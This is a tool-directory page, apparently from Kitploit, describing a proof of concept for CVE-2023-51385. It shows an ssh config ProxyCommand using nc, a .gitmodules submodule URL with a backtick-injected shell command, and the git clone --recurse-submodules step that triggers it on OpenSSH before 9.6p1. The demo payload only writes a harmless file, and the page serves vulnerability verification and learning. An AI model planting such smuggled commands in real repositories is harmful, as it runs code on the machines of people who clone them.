Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-51385_test — Proof-of-concept for CVE-2023-51385: demonstrates command injection via malicious git submodule URLs when cloning with --recurse-submodules, exploiting OpenSSH ProxyCommand. | Kitploit
Tools/GitHubGitHub/featherw1t/cve-2023-51385_test
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubfeatherw1t/cve-2023-51385_test

CVE-2023-51385_test

Proof-of-concept for CVE-2023-51385: demonstrates command injection via malicious git submodule URLs when cloning with --recurse-submodules, exploiting OpenSSH ProxyCommand.

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Verifying CVE-2023-51385

First, add the following content to ~/.ssh/config

root@kitploit:~
host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

There is a command injection in the .gitmodules file statement

root@kitploit:~
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

After configuration is complete, execute the following command to trigger

root@kitploit:~
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules

If successfully executed, a cve.txt file will be generated in the CVE-2023-51385_test directory

Note: OpenSSH must be <9.6p1

For detailed information, see this blog post:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

Download Tool